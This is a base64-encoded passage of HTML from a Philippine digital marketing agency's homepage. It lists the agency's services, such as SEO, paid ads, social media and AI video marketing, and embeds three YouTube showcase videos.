2IGNsYXNzPSJtYXJxdWVlLWJhciI+CiAgICAgIDxkaXYgY2xhc3M9Im1hcnF1ZWUtdHJhY2siPgogICAgICAgIDxzcGFuPlNFTyA8c3BhbiBjbGFzcz0iZG90Ij48L3NwYW4+PC9zcGFuPgogICAgICAgIDxzcGFuPlBQQyBBZHZlcnRpc2luZyA8c3BhbiBjbGFzcz0iZG90Ij48L3NwYW4+PC9zcGFuPgogICAgICAgIDxzcGFuPlNvY2lhbCBNZWRpYSA8c3BhbiBjbGFzcz0iZG90Ij48L3NwYW4+PC9zcGFuPgogICAgICAgIDxzcGFuPkNvbnRlbnQgTWFya2V0aW5nIDxzcGFuIGNsYXNzPSJkb3QiPjwvc3Bhbj48L3NwYW4+CiAgICAgICAgPHNwYW4+Q1JPIDxzcGFuIGNsYXNzPSJkb3QiPjwvc3Bhbj48L3NwYW4+CiAgICAgICAgPHNwYW4+V2ViIERldmVsb3BtZW50IDxzcGFuIGNsYXNzPSJkb3QiPjwvc3Bhbj48L3NwYW4+CiAgICAgICAgPHNwYW4+R3JhcGhpYyBEZXNpZ24gPHNwYW4gY2xhc3M9ImRvdCI+PC9zcGFuPjwvc3Bhbj4KICAgICAgICA8c3Bhbj5CcmFuZCBTdHJhdGVneSA8c3BhbiBjbGFzcz0iZG90Ij48L3NwYW4+PC9zcGFuPgogICAgICAgIDxzcGFuPkFuYWx5dGljcyA8c3BhbiBjbGFzcz0iZG90Ij48L3NwYW4+PC9zcGFuPgogICAgICAgIDxzcGFuPkVtYWlsIE1hcmtldGluZyA8c3BhbiBjbGFzcz0iZG90Ij48L3NwYW4+PC9zcGFuPgogICAgICAgIDxzcGFuPlNFTyA8c3BhbiBjbGFzcz0iZG90Ij48L3NwYW4+PC9zcGFuPgogICAgICAgIDxzcGFuPlBQQyBBZHZlcnRpc2luZyA8c3BhbiBjbGFzcz0iZG90Ij48L3NwYW4+PC9zcGFuPgogICAgICAgIDxzcGFuPlNvY2lhbCBNZWRpYSA8c3BhbiBjbGFzcz0iZG90Ij48L3NwYW4+PC9zcGFuPgogICAgICAgIDxzcGFuPkNvbnRlbnQgTWFya2V0aW5nIDxzcGFuIGNsYXNzPSJkb3QiPjwvc3Bhbj48L3NwYW4+CiAgICAgICAgPHNwYW4+Q1JPIDxzcGFuIGNsYXNzPSJkb3QiPjwvc3Bhbj48L3NwYW4+CiAgICAgICAgPHNwYW4+V2ViIERldmVsb3BtZW50IDxzcGFuIGNsYXNzPSJkb3QiPjwvc3Bhbj48L3NwYW4+CiAgICAgICAgPHNwYW4+R3JhcGhpYyBEZXNpZ24gPHNwYW4gY2xhc3M9ImRvdCI+PC9zcGFuPjwvc3Bhbj4KICAgICAgICA8c3Bhbj5CcmFuZCBTdHJhdGVneSA8c3BhbiBjbGFzcz0iZG90Ij48L3NwYW4+PC9zcGFuPgogICAgICAgIDxzcGFuPkFuYWx5dGljcyA8c3BhbiBjbGFzcz0iZG90Ij48L3NwYW4+PC9zcGFuPgogICAgICAgIDxzcGFuPkVtYWlsIE1hcmtldGluZyA8c3BhbiBjbGFzcz0iZG90Ij48L3NwYW4+PC9zcGFuPgogICAgICA8L2Rpdj4KICAgIDwvZGl2PgoKICAgIDwhLS0g4pWQ4pWQ4pWQIFdITyBXRSBBUkUg4pWQ4pWQ4pWQIC0tPgogICAgPHNlY3Rpb24gY2xhc3M9Indoby1zZWN0aW9uIj4KICAgICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIj4KICAgICAgICA8ZGl2IGNsYXNzPSJ3aG8tZ3JpZCI+CiAgICAgICAgICA8ZGl2IGNsYXNzPSJiaWctbnVtIj4wMTwvZGl2PgogICAgICAgICAgPGRpdiBjbGFzcz0id2hvLWNvbnRlbnQiPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJzZWN0aW9uLWxhYmVsIj5XaG8gV2UgQXJlPC9kaXY+CiAgICAgICAgICAgIDxoMiBjbGFzcz0ic2VjdGlvbi1oZWFkaW5nIj4KICAgICAgICAgICAgICBBIERpZ2l0YWwgTWFya2V0aW5nIEFnZW5jeSBUaGF0IDxzcGFuIGNsYXNzPSJoaWdobGlnaHQiPkFjdHVhbGx5IERlbGl2ZXJzPC9zcGFuPgogICAgICAgICAgICA8L2gyPgogICAgICAgICAgICA8cCBjbGFzcz0iZGVzYyI+CiAgICAgICAgICAgICAgV2UgaGVscCBidXNpbmVzc2VzIGVzdGFibGlzaCBhbmQgZ3JvdyB0aGVpciBvbmxpbmUgcHJlc2VuY2UgdGhyb3VnaCBwcm92ZW4gc3RyYXRlZ2llcyDigJQgU0VPLCBwYWlkIGFkdmVydGlzaW5nLCBjb250ZW50IGNyZWF0aW9uLCBhbmQgc29jaWFsIG1lZGlhIG1hbmFnZW1lbnQuIFRoZSBnb2FsIGlzIHNpbXBsZTogZHJpdmUgcXVhbGlmaWVkIHRyYWZmaWMsIGNvbnZlcnQgbGVhZHMsIGFuZCB0dXJuIHRoZW0gaW50byBsb3lhbCBjdXN0b21lcnMuCiAgICAgICAgICAgICAgICA8YnIgLz48YnIgLz4KICAgICAgICAgICAgV2UgYWxzbyBwcm9kdWNlIEFJLWdlbmVyYXRlZCBjaW5lbWF0aWMgY29udGVudCDigJQgPHN0cm9uZz50aGlzIGlzIGxpdmluZyBwcm9vZiBvZiB3aGF0IEFJLXBvd2VyZWQgdmlkZW8gbWFya2V0aW5nIGNhbiBkbyBmb3IgeW91ciBicmFuZC48L3N0cm9uZz4KICAgICAgICAgICAgPC9wPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJ3aG8tY2FyZHMiPgogICAgICAgICAgICAgIDxkaXYgY2xhc3M9Indoby1jYXJkIj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Imljb24tYm94Ij7wn5OIPC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2PgogICAgICAgICAgICAgICAgICA8aDM+U3VzdGFpbmFibGUgR3Jvd3RoPC9oMz4KICAgICAgICAgICAgICAgICAgPHA+RGF0YS1kcml2ZW4gc3RyYXRlZ2llcyBmb3IgbG9uZy10ZXJtIHN1Y2Nlc3MuPC9wPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgPGRpdiBjbGFzcz0id2hvLWNhcmQiPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaWNvbi1ib3giPvCfjq88L2Rpdj4KICAgICAgICAgICAgICAgIDxkaXY+CiAgICAgICAgICAgICAgICAgIDxoMz5TdHJhdGVnaWMgRXhwZXJ0aXNlPC9oMz4KICAgICAgICAgICAgICAgICAgPHA+RnVsbC1zZXJ2aWNlIHRvb2xzLCB0YWxlbnQsIGFuZCBndWlkYW5jZS48L3A+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgICAgPC9kaXY+CiAgICA8L3NlY3Rpb24+CgogICAgPCEtLSDilZDilZDilZAgU0VSVklDRVMg4oCUIGJlbnRvIGdyaWQg4pWQ4pWQ4pWQIC0tPgogICAgPHNlY3Rpb24gaWQ9InNlcnZpY2VzIiBjbGFzcz0ic2VydmljZXMtc2VjdGlvbiI+CiAgICAgIDxkaXYgY2xhc3M9ImJnLWNsaXAiPjwvZGl2PgogICAgICA8ZGl2IGNsYXNzPSJjb250YWluZXIiPgogICAgICAgIDxkaXYgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyO21hcmdpbi1ib3R0b206NHJlbTsiPgogICAgICAgICAgPGRpdiBjbGFzcz0ic2VjdGlvbi1sYWJlbCI+V2hhdCBXZSBEbzwvZGl2PgogICAgICAgICAgPGgyIGNsYXNzPSJzZWN0aW9uLWhlYWRpbmciPlNlcnZpY2VzIEJ1aWx0IHRvIDxzcGFuIGNsYXNzPSJoaWdobGlnaHQiPlNjYWxlIFlvdXIgQnVzaW5lc3M8L3NwYW4+PC9oMj4KICAgICAgICA8L2Rpdj4KICAgICAgICA8ZGl2IGNsYXNzPSJzZXJ2aWNlcy1ncmlkIj4KICAgICAgICAgIDxhIGhyZWY9Ii9zZW8tcGhpbGlwcGluZXMiIGNsYXNzPSJzZXJ2aWNlLWNhcmQiCiAgICAgICAgICAgID48ZGl2IGNsYXNzPSJpbWctd3JhcCIgc3R5bGU9InBvc2l0aW9uOnJlbGF0aXZlOyI+CiAgICAgICAgICAgICAgPGltZwogICAgICAgICAgICAgICAgc3JjPSJodHRwczovL2ltYWdlcy51bnNwbGFzaC5jb20vcGhvdG8tMTY4NjA2MTU5MzIxMy05OGRhZDdjNTk5Yjk\/dz04MDAmcT04MCIKICAgICAgICAgICAgICAgIGFsdD0iU0VPIFBoaWxpcHBpbmVzIgogICAgICAgICAgICAgICAgbG9hZGluZz0ibGF6eSIKICAgICAgICAgICAgICAvPgogICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcmQtZ3JhZGllbnQiPjwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iYm9keSI+CiAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaWNvbi1ib3giPvCflI08L2Rpdj4KICAgICAgICAgICAgICA8aDM+U2VhcmNoIEVuZ2luZSBPcHRpbWl6YXRpb248L2gzPgogICAgICAgICAgICAgIDxwPkRvbWluYXRlIEdvb2dsZSB3aXRoIHN1c3RhaW5hYmxlLCB3aGl0ZS1oYXQgU0VPIHN0cmF0ZWdpZXMgdGhhdCBkcml2ZSBjb25zaXN0ZW50IG9yZ2FuaWMgZ3Jvd3RoLjwvcD4KICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0ibGVhcm4tbW9yZSI+TGVhcm4gbW9yZSDihpI8L3NwYW4+CiAgICAgICAgICAgIDwvZGl2PjwvYQogICAgICAgICAgPgogICAgICAgICAgPGEgaHJlZj0iL2Flby1nZW8tYWlvLXBoaWxpcHBpbmVzIiBjbGFzcz0ic2VydmljZS1jYXJkIgogICAgICAgICAgICA+PGRpdiBjbGFzcz0iaW1nLXdyYXAiIHN0eWxlPSJwb3NpdGlvbjpyZWxhdGl2ZTsiPgogICAgICAgICAgICAgIDxpbWcKICAgICAgICAgICAgICAgIHNyYz0iaHR0cHM6Ly9pbWFnZXMudW5zcGxhc2guY29tL3Bob3RvLTE2MjA3MTI5NDM1NDMtYmNjNDY4OGU3NDg1P3c9MTkyMCZxPTgwIgogICAgICAgICAgICAgICAgYWx0PSJBRU8vR0VPL0FJTyBQaGlsaXBwaW5lcyIKICAgICAgICAgICAgICAgIGxvYWRpbmc9ImxhenkiCiAgICAgICAgICAgICAgLz4KICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkLWdyYWRpZW50Ij48L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImJvZHkiPgogICAgICAgICAgICAgIDxkaXYgY2xhc3M9Imljb24tYm94Ij7wn5SNPC9kaXY+CiAgICAgICAgICAgICAgPGgzPkFFTy9HRU8vQUlPPC9oMz4KICAgICAgICAgICAgICA8cD5HZXQgWW91ciBCcmFuZCBGb3VuZCBpbiBBSSBTZWFyY2guIEdvb2dsZSBBSSBPdmVydmlld3MuIENoYXRHUFQuIEdlbWluaS4gUGVycGxleGl0eS48L3A+CiAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImxlYXJuLW1vcmUiPkxlYXJuIG1vcmUg4oaSPC9zcGFuPgogICAgICAgICAgICA8L2Rpdj48L2EKICAgICAgICAgID4KICAgICAgICAgIDxhIGhyZWY9Ii9wcGMtcGhpbGlwcGluZXMiIGNsYXNzPSJzZXJ2aWNlLWNhcmQiCiAgICAgICAgICAgID48ZGl2IGNsYXNzPSJpbWctd3JhcCIgc3R5bGU9InBvc2l0aW9uOnJlbGF0aXZlOyI+CiAgICAgICAgICAgICAgPGltZwogICAgICAgICAgICAgICAgc3JjPSJodHRwczovL2ltYWdlcy51bnNwbGFzaC5jb20vcGhvdG8tMTQ2MDkyNTg5NTkxNy1hZmRhYjgyN2M1MmY\/dz04MDAmcT04MCIKICAgICAgICAgICAgICAgIGFsdD0iUFBDIFBoaWxpcHBpbmVzIgogICAgICAgICAgICAgICAgbG9hZGluZz0ibGF6eSIKICAgICAgICAgICAgICAvPgogICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcmQtZ3JhZGllbnQiPjwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iYm9keSI+CiAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaWNvbi1ib3giPvCfjq88L2Rpdj4KICAgICAgICAgICAgICA8aDM+UFBDIEFkdmVydGlzaW5nPC9oMz4KICAgICAgICAgICAgICA8cD5EYXRhLWRyaXZlbiBhZCBjYW1wYWlnbnMgdGhhdCBtYXhpbWl6ZSBldmVyeSBwZXNvIG9mIHlvdXIgYnVkZ2V0IGZvciBtZWFzdXJhYmxlIFJPSS48L3A+CiAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImxlYXJuLW1vcmUiPkxlYXJuIG1vcmUg4oaSPC9zcGFuPgogICAgICAgICAgICA8L2Rpdj48L2EKICAgICAgICAgID4KICAgICAgICAgIDxhIGhyZWY9Ii9zb2NpYWwtbWVkaWEtbWFya2V0aW5nLXBoaWxpcHBpbmVzIiBjbGFzcz0ic2VydmljZS1jYXJkIgogICAgICAgICAgICA+PGRpdiBjbGFzcz0iaW1nLXdyYXAiIHN0eWxlPSJwb3NpdGlvbjpyZWxhdGl2ZTsiPgogICAgICAgICAgICAgIDxpbWcKICAgICAgICAgICAgICAgIHNyYz0iaHR0cHM6Ly9pbWFnZXMudW5zcGxhc2guY29tL3Bob3RvLTE1NjI1NzczMDktNDkzMmZkZDY0Y2QxP3c9ODAwJnE9ODAiCiAgICAgICAgICAgICAgICBhbHQ9IlNvY2lhbCBNZWRpYSBNYXJrZXRpbmcgUGhpbGlwcGluZXMiCiAgICAgICAgICAgICAgICBsb2FkaW5nPSJsYXp5IgogICAgICAgICAgICAgIC8+CiAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2FyZC1ncmFkaWVudCI+PC9kaXY+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJib2R5Ij4KICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJpY29uLWJveCI+8J+TsTwvZGl2PgogICAgICAgICAgICAgIDxoMz5Tb2NpYWwgTWVkaWEgTWFya2V0aW5nPC9oMz4KICAgICAgICAgICAgICA8cD5CdWlsZCBicmFuZCBwcmVzZW5jZSBhbmQgZHJpdmUgZW5nYWdlbWVudCBhY3Jvc3MgRmFjZWJvb2ssIEluc3RhZ3JhbSwgTGlua2VkSW4gJiBUaWtUb2suPC9wPgogICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJsZWFybi1tb3JlIj5MZWFybiBtb3JlIOKGkjwvc3Bhbj4KICAgICAgICAgICAgPC9kaXY+PC9hCiAgICAgICAgICA+CiAgICAgICAgICA8YSBocmVmPSIvY29udGVudC1tYXJrZXRpbmctcGhpbGlwcGluZXMiIGNsYXNzPSJzZXJ2aWNlLWNhcmQiCiAgICAgICAgICAgID48ZGl2IGNsYXNzPSJpbWctd3JhcCIgc3R5bGU9InBvc2l0aW9uOnJlbGF0aXZlOyI+CiAgICAgICAgICAgICAgPGltZwogICAgICAgICAgICAgICAgc3JjPSJodHRwczovL2ltYWdlcy51bnNwbGFzaC5jb20vcGhvdG8tMTQ5OTc1MDMxMDEwNy01ZmVmMjhhNjY2NDM\/dz04MDAmcT04MCIKICAgICAgICAgICAgICAgIGFsdD0iQ29udGVudCBNYXJrZXRpbmcgUGhpbGlwcGluZXMiCiAgICAgICAgICAgICAgICBsb2FkaW5nPSJsYXp5IgogICAgICAgICAgICAgIC8+CiAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2FyZC1ncmFkaWVudCI+PC9kaXY+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJib2R5Ij4KICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJpY29uLWJveCI+8J+TnTwvZGl2PgogICAgICAgICAgICAgIDxoMz5Db250ZW50IE1hcmtldGluZzwvaDM+CiAgICAgICAgICAgICAgPHA+Q29tcGVsbGluZyBjb250ZW50IHRoYXQgYXR0cmFjdHMsIGVkdWNhdGVzLCBhbmQgY29udmVydHMgeW91ciB0YXJnZXQgYXVkaWVuY2UuPC9wPgogICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJsZWFybi1tb3JlIj5MZWFybiBtb3JlIOKGkjwvc3Bhbj4KICAgICAgICAgICAgPC9kaXY+PC9hCiAgICAgICAgICA+CiAgICAgICAgICA8YSBocmVmPSIvY29udmVyc2lvbi1yYXRlLW9wdGltaXphdGlvbi1waGlsaXBwaW5lcyIgY2xhc3M9InNlcnZpY2UtY2FyZCIKICAgICAgICAgICAgPjxkaXYgY2xhc3M9ImltZy13cmFwIiBzdHlsZT0icG9zaXRpb246cmVsYXRpdmU7Ij4KICAgICAgICAgICAgICA8aW1nCiAgICAgICAgICAgICAgICBzcmM9Imh0dHBzOi8vaW1hZ2VzLnVuc3BsYXNoLmNvbS9waG90by0xNTUxMjg4MDQ5LWJlYmRhNGUzOGY3MT93PTgwMCZxPTgwIgogICAgICAgICAgICAgICAgYWx0PSJDUk8gUGhpbGlwcGluZXMiCiAgICAgICAgICAgICAgICBsb2FkaW5nPSJsYXp5IgogICAgICAgICAgICAgIC8+CiAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2FyZC1ncmFkaWVudCI+PC9kaXY+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJib2R5Ij4KICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJpY29uLWJveCI+8J+TiDwvZGl2PgogICAgICAgICAgICAgIDxoMz5Db252ZXJzaW9uIFJhdGUgT3B0aW1pemF0aW9uPC9oMz4KICAgICAgICAgICAgICA8cD5UdXJuIG1vcmUgdmlzaXRvcnMgaW50byBjdXN0b21lcnMgd2l0aCBkYXRhLWJhY2tlZCBVWCBpbXByb3ZlbWVudHMgYW5kIEEvQiB0ZXN0aW5nLjwvcD4KICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0ibGVhcm4tbW9yZSI+TGVhcm4gbW9yZSDihpI8L3NwYW4+CiAgICAgICAgICAgIDwvZGl2PjwvYQogICAgICAgICAgPgogICAgICAgICAgPGEgaHJlZj0iL3dlYi1kZXZlbG9wbWVudC1waGlsaXBwaW5lcyIgY2xhc3M9InNlcnZpY2UtY2FyZCIKICAgICAgICAgICAgPjxkaXYgY2xhc3M9ImltZy13cmFwIiBzdHlsZT0icG9zaXRpb246cmVsYXRpdmU7Ij4KICAgICAgICAgICAgICA8aW1nCiAgICAgICAgICAgICAgICBzcmM9Imh0dHBzOi8vaW1hZ2VzLnVuc3BsYXNoLmNvbS9waG90by0xNTQ3NjU4NzE5LWRhMmI1MTE2OTE2Nj93PTgwMCZxPTgwIgogICAgICAgICAgICAgICAgYWx0PSJXZWIgRGV2ZWxvcG1lbnQgUGhpbGlwcGluZXMiCiAgICAgICAgICAgICAgICBsb2FkaW5nPSJsYXp5IgogICAgICAgICAgICAgIC8+CiAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2FyZC1ncmFkaWVudCI+PC9kaXY+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJib2R5Ij4KICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJpY29uLWJveCI+8J+SuzwvZGl2PgogICAgICAgICAgICAgIDxoMz5XZWIgRGV2ZWxvcG1lbnQ8L2gzPgogICAgICAgICAgICAgIDxwPkZhc3QsIHJlc3BvbnNpdmUsIFNFTy1vcHRpbWl6ZWQgd2Vic2l0ZXMgYnVpbHQgdG8gY29udmVydCBhbmQgc2NhbGUgd2l0aCB5b3VyIGJ1c2luZXNzLjwvcD4KICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0ibGVhcm4tbW9yZSI+TGVhcm4gbW9yZSDihpI8L3NwYW4+CiAgICAgICAgICAgIDwvZGl2PjwvYQogICAgICAgICAgPgogICAgICAgICAgPGEgaHJlZj0iL2dyYXBoaWMtZGVzaWduLXBoaWxpcHBpbmVzIiBjbGFzcz0ic2VydmljZS1jYXJkIgogICAgICAgICAgICA+PGRpdiBjbGFzcz0iaW1nLXdyYXAiIHN0eWxlPSJwb3NpdGlvbjpyZWxhdGl2ZTsiPgogICAgICAgICAgICAgIDxpbWcKICAgICAgICAgICAgICAgIHNyYz0iaHR0cHM6Ly9pbWFnZXMudW5zcGxhc2guY29tL3Bob3RvLTE2MjY3ODU3NzQ1NzMtNGI3OTkzMTUzNDVkP3c9ODAwJnE9ODAiCiAgICAgICAgICAgICAgICBhbHQ9IkdyYXBoaWMgRGVzaWduIFBoaWxpcHBpbmVzIgogICAgICAgICAgICAgICAgbG9hZGluZz0ibGF6eSIKICAgICAgICAgICAgICAvPgogICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcmQtZ3JhZGllbnQiPjwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iYm9keSI+CiAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaWNvbi1ib3giPvCfjqg8L2Rpdj4KICAgICAgICAgICAgICA8aDM+R3JhcGhpYyBEZXNpZ248L2gzPgogICAgICAgICAgICAgIDxwPlN0cmlraW5nIHZpc3VhbHMgYW5kIGJyYW5kIGlkZW50aXRpZXMgdGhhdCBjYXB0dXJlIGF0dGVudGlvbiBhY3Jvc3MgZXZlcnkgdG91Y2hwb2ludC48L3A+CiAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImxlYXJuLW1vcmUiPkxlYXJuIG1vcmUg4oaSPC9zcGFuPgogICAgICAgICAgICA8L2Rpdj48L2EKICAgICAgICAgID4KICAgICAgICAgICAgIDxhIGhyZWY9Ii9haS12aWRlby1tYXJrZXRpbmctcGhpbGlwcGluZXMiIGNsYXNzPSJzZXJ2aWNlLWNhcmQiPgogICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImltZy13cmFwIiBzdHlsZT0icG9zaXRpb246cmVsYXRpdmU7Ij4KICAgICAgICAgICAgICAgIDxpbWcgc3JjPSJodHRwczovL2ltYWdlcy51bnNwbGFzaC5jb20vcGhvdG8tMTUzNTAxNjEyMDcyMC00MGM2NDZiZTU1ODA\/dz04MDAmcT04MCIgYWx0PSJBSSBWaWRlbyBNYXJrZXRpbmcgUGhpbGlwcGluZXMiIGxvYWRpbmc9ImxhenkiIC8+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkLWdyYWRpZW50Ij48L2Rpdj4KICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJib2R5Ij4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Imljb24tYm94Ij7wn46sPC9kaXY+CiAgICAgICAgICAgICAgICA8aDM+QUkgVmlkZW8gTWFya2V0aW5nPC9oMz4KICAgICAgICAgICAgICAgIDxwPkFJLWdlbmVyYXRlZCBjaW5lbWF0aWMgc2hvcnQgZmlsbXMsIHJlZWxzLCBhbmQgdmlkZW8gY29udGVudCB0aGF0IG1ha2VzIHlvdXIgYnJhbmQgaW1wb3NzaWJsZSB0byBpZ25vcmUuPC9wPgogICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImxlYXJuLW1vcmUiPkdldCBzdGFydGVkIOKGkjwvc3Bhbj4KICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9hPgogICAgICAgIDwvZGl2PgogICAgICA8L2Rpdj4KICAgIDwvc2VjdGlvbj4KCiAgICA8IS0tIOKVkOKVkOKVkCBBSSBJTiBBQ1RJT04g4oCUIFlvdVR1YmUgU2hvd2Nhc2Ug4pWQ4pWQ4pWQIC0tPgogICAgPHNlY3Rpb24gY2xhc3M9ImFpLXNlY3Rpb24iPgogICAgICA8ZGl2IGNsYXNzPSJjb250YWluZXIiPgogICAgICAgIDxkaXYgY2xhc3M9ImFpLXNlY3Rpb24taGVhZGVyIj4KICAgICAgICAgIDxkaXYgY2xhc3M9InNlY3Rpb24tbGFiZWwiPvCfjqwgQUkgaW4gQWN0aW9uPC9kaXY+CiAgICAgICAgICA8aDIgY2xhc3M9InNlY3Rpb24taGVhZGluZyI+U2VlIFdoYXQgQUktUG93ZXJlZCA8c3BhbiBzdHlsZT0iY29sb3I6dmFyKC0tcHJpbWFyeSk7Ij5Db250ZW50IE1hcmtldGluZzwvc3Bhbj4gTG9va3MgTGlrZTwvaDI+CiAgICAgICAgICA8cD5XZSBkb24ndCBqdXN0IHRhbGsgYWJvdXQgQUkg4oCUIHdlIHByb2R1Y2UgaXQuIEV2ZXJ5IFNob3J0IGJlbG93IHdhcyBjcmVhdGVkIHVzaW5nIENoYXRHUFQsIEtsaW5nIEFJLCBhbmQgb3VyIG93biBjb250ZW50IHdvcmtmbG93LiBUaGlzIGlzIHRoZSBzYW1lIGNyZWF0aXZlIHBvd2VyIHdlIGJyaW5nIHRvIHlvdXIgYnJhbmQuPC9wPgogICAgICAgIDwvZGl2PgogICAgCiAgICAgICAgPGRpdiBjbGFzcz0iYWktdmlkZW9zLWdyaWQiPgogICAgICAgICAgPCEtLSBSZXNjdWUgYXQgU2hvdC1Eb3duIERhd24g4oCUIDEuOUsgdmlld3MgLS0+CiAgICAgICAgICA8ZGl2IGNsYXNzPSJhaS12aWRlby13cmFwIj4KICAgICAgICAgICAgPGlmcmFtZQogICAgICAgICAgICAgIHNyYz0iaHR0cHM6Ly93d3cueW91dHViZS5jb20vZW1iZWQvREZBTVo5aVVfZWMiCiAgICAgICAgICAgICAgdGl0bGU9IlJlc2N1ZSBhdCBTaG90LURvd24gRGF3biDigJQgQUkgR2VuZXJhdGVkIgogICAgICAgICAgICAgIGFsbG93PSJhY2NlbGVyb21ldGVyOyBhdXRvcGxheTsgY2xpcGJvYXJkLXdyaXRlOyBlbmNyeXB0ZWQtbWVkaWE7IGd5cm9zY29wZTsgcGljdHVyZS1pbi1waWN0dXJlIgogICAgICAgICAgICAgIGFsbG93ZnVsbHNjcmVlbgogICAgICAgICAgICAgIGxvYWRpbmc9ImxhenkiPgogICAgICAgICAgICA8L2lmcmFtZT4KICAgICAgICAgIDwvZGl2PgogICAgICAgICAgPCEtLSBDaGF0R1BUIEltYWdlcyAyLjAgeCBLbGluZyAzLjAg4oCUIDEuMUsgdmlld3MgLS0+CiAgICAgICAgICA8ZGl2IGNsYXNzPSJhaS12aWRlby13cmFwIj4KICAgICAgICAgICAgPGlmcmFtZQogICAgICAgICAgICAgIHNyYz0iaHR0cHM6Ly93d3cueW91dHViZS5jb20vZW1iZWQvcUtrOTJ4QjNQMTAiCiAgICAgICAgICAgICAgdGl0bGU9IkNoYXRHUFQgSW1hZ2VzIDIuMCB4IEtsaW5nIDMuMCDigJQgQUkgVmlkZW8gV29ya2Zsb3ciCiAgICAgICAgICAgICAgYWxsb3c9ImFjY2VsZXJvbWV0ZXI7IGF1dG9wbGF5OyBjbGlwYm9hcmQtd3JpdGU7IGVuY3J5cHRlZC1tZWRpYTsgZ3lyb3Njb3BlOyBwaWN0dXJlLWluLXBpY3R1cmUiCiAgICAgICAgICAgICAgYWxsb3dmdWxsc2NyZWVuCiAgICAgICAgICAgICAgbG9hZGluZz0ibGF6eSI+CiAgICAgICAgICAgIDwvaWZyYW1lPgogICAgICAgICAgPC9kaXY+CiAgICAgICAgICA8IS0tIE5hdmFsIEJsb2NrYWRlIG9mIHRoZSBTdHJhaXQgb2YgSG9ybXV6IOKAlCAxSyB2aWV3cyAtLT4KICAgICAgICAgIDxkaXYgY2xhc3M9ImFpLXZpZGVvLXdyYXAiPgogICAgICAgICAgICA8aWZyYW1lCiAgICAgICAgICAgICAgc3JjPSJodHRwczovL3d3dy55b3V0dWJlLmNvbS9lbWJlZC9JUE1ITm14M3hOTSIKICAgICAgICAgICAgICB0aXRsZT0iTmF2YWwgQmxvY2thZGUgb2YgdGhlIFN0cmFpdCBvZiBIb3JtdXog4oCUIEFJIEdlbmVyYXRlZCIKICAgICAgICAgICAgICBhbGxvdz0iYWNjZWxlcm9tZXRlcjsgYXV0b3BsYXk7IGNsaXBib2FyZC13cml0ZTsgZW5jcnlwdGVkLW1lZGlhOyBneXJvc2NvcGU7IHBpY3R1cmUtaW4tcGljdHVyZSIKICAgICAgICAgICAgICBhbGxvd2Z1bGxzY3JlZW4KICAgICAgICAgICAgICBsb2FkaW5nPSJsYXp5Ij4KICAgICAgICAgICAgPC9pZnJhbWU+CiAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgIAogICAgICAgIDxkaXYgY2xhc3M9ImFpLXNlY3Rpb24tY3RhIj4KICAgICAgICAgIDxhIGhyZWY9Imh0dHBzOi8vd3d3LnlvdXR1YmUuY29tL0BQcmltZWZvbGRNZWRpYSIgdGFyZ2V0PSJfYmxhbmsiIHJlbD0ibm9vcGVuZXIiIGNsYXNzPSJidG4teW91dHViZSI+CiAgICAgICAgICAgIDxzdmcgd2lkdGg9IjIwIiBoZWlnaHQ9IjIwIiB2aWV3Qm94PSIwIDAgMjQgMjQiIGZpbGw9ImN1cnJlbnRDb2xvciI+PHBhdGggZD0iTTIzLjQ5OCA2LjE4NmEzLjAxNiAzLjAxNiAwID